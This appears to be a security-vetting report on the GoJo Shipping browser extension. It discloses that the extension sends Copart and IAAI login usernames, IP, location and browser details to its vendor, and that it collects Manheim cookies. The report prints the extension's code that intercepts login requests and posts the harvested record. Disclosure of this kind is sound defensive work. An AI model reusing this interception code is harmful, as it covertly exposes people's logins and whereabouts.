Is GoJo Shipping safe?
GoJo Shipping sends Copart and IAAI login usernames with IP and location details to its vendor backend.
When a user who is not signed in to the extension logs in to Copart or IAAI, it reads the username from the login request and sends it with IP address, ISP, city, geolocation and browser details to the vendor's auction-auth-log endpoint. After a Manheim login, it also reads all manheim.com cookies, including HttpOnly ones, and posts them to the vendor's backend.
Who publishes itauctiongate.io - 9 other listings from the same operator, 6 of them carrying a finding
auctiongate.io - 9 other listings from the same operator, 6 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
9 other listings published from this account, 11k+ users between them. 6 of them carry a finding.
Shared hosts - 20 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Copart and IAAI login names are sent with IP and location to the vendor
Code analysis shows the extension reads the username you type at Copart or IAAI login and posts it with your IP, ISP, city and coordinates to the vendor's API when you are not signed in to the extension.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You sign in to copart.com or login.iaai.com while not signed in to the extension.
The extension sends your login name, IP address and location to the vendor's auction-auth-log endpoint.
The record also carries the last known extension account identity.
- Auction login namebuyer@example.com (illustrative)
The username or email typed into the Copart or IAAI login form.
- IP address203.0.113.24 (illustrative)
Your public IP as returned by third-party lookup services.
- ISPExample Telecom (illustrative)
The network provider reported for your IP.
- City, region, coordinatesDallas, Texas, 32.78, -96.80 (illustrative)
Approximate location derived from your IP.
- User agent and platformMozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/130
Browser and operating system strings.
- Last extension identitylast_app_user_id: 48213 (illustrative)
The last user name, company ID and user ID seen in the extension.
guestLoginControl.js
Readable form
js/background/utils/guestLoginControl.jsexport const guestLoginControl = ({setLocalstorage: e, getLocalstorage: t, getIPInfo: a, URI: o, apiToken: r, MOD_VALUE: n}) => { function s(e) { const {initiator: t, statusCode: a, responseHeaders: o} = e, r = Boolean(t?.includes("iaai") && 302 === a && d({ responseHeaders: o, auction: "iaai" })), n = Boolean(t?.includes("copart") && 302 === a && d({ responseHeaders: o, auction: "copart" })); return r || n; } async function i(e) { const t = new Headers; t.append("Accept", "application/json"); const a = new FormData; a.append("api_token", r[n]); Object.keys(e).forEach((t => { a.append(t, e[t]); })); await fetch(o.createGuestUser, { headers: t, body: a, method: "POST" }).then((e => e.json())).catch((() => null)); } async function u({currentGuestDTO: e, ipInfo: a}) { if (!e) { return {}; } const o = await t("last_user_name") || "", r = await t("last_company_id") || "", n = await t("last_user_id") || "", s = await t("last_login_date") || ""; return { host: e?.host, event: "Guest user auth", timestamp: String(Date.now()), date: (new Date).toISOString(), user_agent: navigator.userAgent, platform: navigator?.userAgentData?.platform || navigator?.platform, user_ip: a?.userIP, user_isp: a?.userISP, user_city: a?.userCity, user_country: a?.userCountry, user_region: a?.userRegion, latitude: a?.latitude, longitude: a?.longitude, app_user_name: e?.userName, last_app_user_name: o, last_app_user_company_id: r, last_app_user_id: n, last_login_date: s }; } async function c() { if (await t("is_auth")) { chrome.storage.local.remove("currentGuestDTO"); return; } let e = {}, o = 0; for (;;) { o += 1; e = await t("currentGuestDTO"); if (e?.email || o > 10) { break; } await new Promise((e => setTimeout(e, 200))); } const r = await a(), n = await u({ currentGuestDTO: e, ipInfo: r }); if (n?.last_app_user_id) { try { await i(n); chrome.storage.local.remove("currentGuestDTO"); } catch (e) {} } } function d({responseHeaders: e, auction: t}) { if (!e?.length) { return !1; } if ("iaai" === t) { return e.find((({name: e}) => "location" === e.toLowerCase()))?.value.includes("/connect/authorize"); } if ("copart" === t) { return e.find((({name: e}) => "location" === e.toLowerCase()))?.value.includes("/loginSuccess.html"); } else { return; } } chrome.webRequest.onHeadersReceived.addListener((e => { if (s(e)) { c(); } }), { urls: [ "https://login.iaai.com/Identity/*", "https://www.copart.com/processLogin/*" ] }, [ "responseHeaders" ]); chrome.webRequest.onBeforeRequest.addListener((async function(t) { const a = new URL(t.url).host, o = a.includes("copart") ? "copart" : a.includes("iaai") ? "iaai" : null; if (o) { if ("POST" === t.method && t.requestBody?.raw?.[0]?.bytes && "copart" === o) { try { const o = t.requestBody.raw[0].bytes, r = new TextDecoder("utf-8").decode(o); if (!r.trim()) { return; } let n; try { n = JSON.parse(r); } catch (e) { return; } const s = n.username; await e({ currentGuestDTO: { userName: s, host: a } }); } catch (e) {} } if ("POST" === t.method && "iaai" === o) { const o = t.requestBody?.formData?.["Input.Email"]?.[0]; await e({ currentGuestDTO: { userName: o, host: a } }); } } }), { urls: [ "https://www.copart.com/processLogin/*", "https://login.iaai.com/Identity/*" ] }, [ "requestBody" ]);};void "gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:";- vendor API (/api/v1/auction-auth-log)
Receives the login name, IP, location and extension identity record.
- json.geoiplookup.io
Queried by the extension to resolve IP, ISP and location.
- ip-api.com
Queried over plain HTTP for the same IP and location data.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed GoJo Shipping contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ip-api.comwidely used
GoJo Shipping sends data to ip-api.com. A widely used service: 73 other extensions we have analysed send data here.
- json.geoiplookup.io
GoJo Shipping sends data to json.geoiplookup.io. 17 other extensions we have analysed send data here.
- GoJo Shipping vendor API (add-manheim-auth-hash)
GoJo Shipping sends data to GoJo Shipping vendor API (add-manheim-auth-hash). Named as a recipient in this extension's own analysis.
- GoJo Shipping vendor API (auction-auth-log)
GoJo Shipping sends data to GoJo Shipping vendor API (auction-auth-log). Named as a recipient in this extension's own analysis.